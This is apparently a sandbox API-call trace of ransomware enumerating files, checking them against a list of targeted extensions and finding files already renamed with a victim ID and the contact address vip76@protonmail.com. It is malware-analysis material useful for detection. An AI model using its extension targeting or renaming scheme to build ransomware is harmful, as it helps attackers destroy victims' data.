	[0205.159] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".chm") returned 4
	[0205.159] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".cin") returned 4
	[0205.159] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".class") returned 6
	[0205.159] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0205.159] lstrlenW (lpString=".clx") returned 4
	[0205.159] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".config") returned 7
	[0205.159] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0205.159] lstrlenW (lpString=".cpp") returned 4
	[0205.159] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".cr2") returned 4
	[0205.160] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".crt") returned 4
	[0205.160] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".crw") returned 4
	[0205.160] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".cs") returned 3
	[0205.160] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0205.160] lstrlenW (lpString=".css") returned 4
	[0205.160] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".csv") returned 4
	[0205.160] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".cub") returned 4
	[0205.160] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dae") returned 4
	[0205.160] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dat") returned 4
	[0205.160] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".db") returned 3
	[0205.160] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0205.160] lstrlenW (lpString=".dbf") returned 4
	[0205.160] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dbx") returned 4
	[0205.160] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dc3") returned 4
	[0205.160] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dcm") returned 4
	[0205.160] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dcr") returned 4
	[0205.160] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".der") returned 4
	[0205.160] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0205.160] lstrlenW (lpString=".dib") returned 4
	[0205.161] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".dic") returned 4
	[0205.161] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".dif") returned 4
	[0205.161] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".divx") returned 5
	[0205.161] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0205.161] lstrlenW (lpString=".djvu") returned 5
	[0205.161] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0205.161] lstrlenW (lpString=".dng") returned 4
	[0205.161] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".doc") returned 4
	[0205.161] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".docm") returned 5
	[0205.161] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0205.161] lstrlenW (lpString=".docx") returned 5
	[0205.161] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0205.161] lstrlenW (lpString=".dot") returned 4
	[0205.161] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".dotm") returned 5
	[0205.161] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0205.161] lstrlenW (lpString=".dotx") returned 5
	[0205.161] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0205.161] lstrlenW (lpString=".dpx") returned 4
	[0205.161] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".dqy") returned 4
	[0205.161] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".dsn") returned 4
	[0205.161] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0205.161] lstrlenW (lpString=".dt") returned 3
	[0205.161] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0205.161] lstrlenW (lpString=".dtd") returned 4
	[0205.161] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".dwg") returned 4
	[0205.162] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".dwt") returned 4
	[0205.162] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".dx") returned 3
	[0205.162] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0205.162] lstrlenW (lpString=".dxf") returned 4
	[0205.162] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".edml") returned 5
	[0205.162] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0205.162] lstrlenW (lpString=".efd") returned 4
	[0205.162] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".elf") returned 4
	[0205.162] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".emf") returned 4
	[0205.162] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".emz") returned 4
	[0205.162] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".epf") returned 4
	[0205.162] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".eps") returned 4
	[0205.162] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".epsf") returned 5
	[0205.162] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0205.162] lstrlenW (lpString=".epsp") returned 5
	[0205.162] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0205.162] lstrlenW (lpString=".erf") returned 4
	[0205.162] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".exr") returned 4
	[0205.162] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0205.162] lstrlenW (lpString=".f4v") returned 4
	[0205.162] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".fido") returned 5
	[0205.163] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0205.163] lstrlenW (lpString=".flm") returned 4
	[0205.163] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".flv") returned 4
	[0205.163] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".frm") returned 4
	[0205.163] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".fxg") returned 4
	[0205.163] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".geo") returned 4
	[0205.163] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".gif") returned 4
	[0205.163] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".grs") returned 4
	[0205.163] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".gz") returned 3
	[0205.163] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0205.163] lstrlenW (lpString=".h") returned 2
	[0205.163] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0205.163] lstrlenW (lpString=".hdr") returned 4
	[0205.163] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".hpp") returned 4
	[0205.163] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".hta") returned 4
	[0205.163] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".htc") returned 4
	[0205.163] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".htm") returned 4
	[0205.163] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0205.163] lstrlenW (lpString=".html") returned 5
	[0205.163] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0205.163] FindNextFileW (in: hFindFile=0x652918, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803696f3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffefb9, dwReserved1=0x1f2, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OOBE_2~1.HTM")) returned 1
	[0205.164] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html") returned 72
	[0205.164] lstrlenW (lpString=".1cd") returned 4
	[0205.164] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".3ds") returned 4
	[0205.164] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".3fr") returned 4
	[0205.164] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".3g2") returned 4
	[0205.164] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".3gp") returned 4
	[0205.164] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".7z") returned 3
	[0205.164] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0205.164] lstrlenW (lpString=".accda") returned 6
	[0205.164] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0205.164] lstrlenW (lpString=".accdb") returned 6
	[0205.164] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0205.164] lstrlenW (lpString=".accdc") returned 6
	[0205.164] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0205.164] lstrlenW (lpString=".accde") returned 6
	[0205.164] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0205.164] lstrlenW (lpString=".accdt") returned 6
	[0205.164] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0205.164] lstrlenW (lpString=".accdw") returned 6
	[0205.164] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0205.164] lstrlenW (lpString=".adb") returned 4
	[0205.164] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".adp") returned 4
	[0205.164] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0205.164] lstrlenW (lpString=".ai") returned 3
	[0205.164] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0205.165] lstrlenW (lpString=".ai3") returned 4
	[0205.165] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".ai4") returned 4
	[0205.165] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".ai5") returned 4
	[0205.165] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".ai6") returned 4
	[0205.165] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".ai7") returned 4
	[0205.165] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".ai8") returned 4
	[0205.165] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".anim") returned 5
	[0205.165] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0205.165] lstrlenW (lpString=".arw") returned 4
	[0205.165] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".as") returned 3
	[0205.165] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0205.165] lstrlenW (lpString=".asa") returned 4
	[0205.165] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".asc") returned 4
	[0205.165] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".ascx") returned 5
	[0205.165] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0205.165] lstrlenW (lpString=".asm") returned 4
	[0205.165] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".asmx") returned 5
	[0205.165] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0205.165] lstrlenW (lpString=".asp") returned 4
	[0205.165] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".aspx") returned 5
	[0205.165] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0205.165] lstrlenW (lpString=".asr") returned 4
	[0205.165] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0205.165] lstrlenW (lpString=".asx") returned 4
	[0205.166] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".avi") returned 4
	[0205.166] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".avs") returned 4
	[0205.166] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".backup") returned 7
	[0205.166] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0205.166] lstrlenW (lpString=".bak") returned 4
	[0205.166] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".bay") returned 4
	[0205.166] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".bd") returned 3
	[0205.166] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0205.166] lstrlenW (lpString=".bin") returned 4
	[0205.166] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".bmp") returned 4
	[0205.166] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".bz2") returned 4
	[0205.166] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".c") returned 2
	[0205.166] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0205.166] lstrlenW (lpString=".cdr") returned 4
	[0205.166] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".cer") returned 4
	[0205.166] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".cf") returned 3
	[0205.166] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0205.166] lstrlenW (lpString=".cfc") returned 4
	[0205.166] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".cfm") returned 4
	[0205.166] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0205.166] lstrlenW (lpString=".cfml") returned 5
	[0205.166] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0205.166] lstrlenW (lpString=".cfu") returned 4
	[0205.167] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".chm") returned 4
	[0205.167] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".cin") returned 4
	[0205.167] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".class") returned 6
	[0205.167] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0205.167] lstrlenW (lpString=".clx") returned 4
	[0205.167] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".config") returned 7
	[0205.167] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0205.167] lstrlenW (lpString=".cpp") returned 4
	[0205.167] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".cr2") returned 4
	[0205.167] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".crt") returned 4
	[0205.167] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".crw") returned 4
	[0205.167] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".cs") returned 3
	[0205.167] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0205.167] lstrlenW (lpString=".css") returned 4
	[0205.167] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".csv") returned 4
	[0205.167] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".cub") returned 4
	[0205.167] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".dae") returned 4
	[0205.167] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".dat") returned 4
	[0205.167] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0205.167] lstrlenW (lpString=".db") returned 3
	[0205.168] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0205.168] lstrlenW (lpString=".dbf") returned 4
	[0205.168] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dbx") returned 4
	[0205.168] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dc3") returned 4
	[0205.168] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dcm") returned 4
	[0205.168] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dcr") returned 4
	[0205.168] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".der") returned 4
	[0205.168] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dib") returned 4
	[0205.168] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dic") returned 4
	[0205.168] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".dif") returned 4
	[0205.168] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".divx") returned 5
	[0205.168] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0205.168] lstrlenW (lpString=".djvu") returned 5
	[0205.168] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0205.168] lstrlenW (lpString=".dng") returned 4
	[0205.168] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".doc") returned 4
	[0205.168] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0205.168] lstrlenW (lpString=".docm") returned 5
	[0205.168] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0205.168] lstrlenW (lpString=".docx") returned 5
	[0205.168] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0205.168] lstrlenW (lpString=".dot") returned 4
	[0205.168] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dotm") returned 5
	[0205.169] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0205.169] lstrlenW (lpString=".dotx") returned 5
	[0205.169] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0205.169] lstrlenW (lpString=".dpx") returned 4
	[0205.169] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dqy") returned 4
	[0205.169] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dsn") returned 4
	[0205.169] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dt") returned 3
	[0205.169] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0205.169] lstrlenW (lpString=".dtd") returned 4
	[0205.169] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dwg") returned 4
	[0205.169] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dwt") returned 4
	[0205.169] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".dx") returned 3
	[0205.169] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0205.169] lstrlenW (lpString=".dxf") returned 4
	[0205.169] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".edml") returned 5
	[0205.169] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0205.169] lstrlenW (lpString=".efd") returned 4
	[0205.169] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".elf") returned 4
	[0205.169] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".emf") returned 4
	[0205.169] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".emz") returned 4
	[0205.169] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0205.169] lstrlenW (lpString=".epf") returned 4
	[0205.170] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".eps") returned 4
	[0205.170] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".epsf") returned 5
	[0205.170] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0205.170] lstrlenW (lpString=".epsp") returned 5
	[0205.170] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0205.170] lstrlenW (lpString=".erf") returned 4
	[0205.170] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".exr") returned 4
	[0205.170] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".f4v") returned 4
	[0205.170] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".fido") returned 5
	[0205.170] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0205.170] lstrlenW (lpString=".flm") returned 4
	[0205.170] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".flv") returned 4
	[0205.170] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".frm") returned 4
	[0205.170] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".fxg") returned 4
	[0205.170] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".geo") returned 4
	[0205.170] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".gif") returned 4
	[0205.170] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".grs") returned 4
	[0205.170] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0205.170] lstrlenW (lpString=".gz") returned 3
	[0205.170] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0205.171] lstrlenW (lpString=".h") returned 2
	[0205.171] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0205.171] lstrlenW (lpString=".hdr") returned 4
	[0205.171] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0205.171] lstrlenW (lpString=".hpp") returned 4
	[0205.171] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0205.171] lstrlenW (lpString=".hta") returned 4
	[0205.171] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0205.171] lstrlenW (lpString=".htc") returned 4
	[0205.171] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0205.389] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="..", cAlternateFileName="")) returned 1
	[0205.389] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bb768c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bb768c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81bdd834, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Print.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PRINTI~1.HTM")) returned 1
	[0205.390] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bdd834, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bdd834, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fbd558, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate1.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~1.HTM")) returned 1
	[0205.390] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81cc44a9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81cc44a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate2.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~2.HTM")) returned 1
	[0205.390] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81ce89c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81ce89c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate3.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~3.HTM")) returned 1
	[0205.390] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d0ebc6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d0ebc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82055f4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe844, dwReserved1=0xe37, cFileName="Rotate4.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~4.HTM")) returned 1
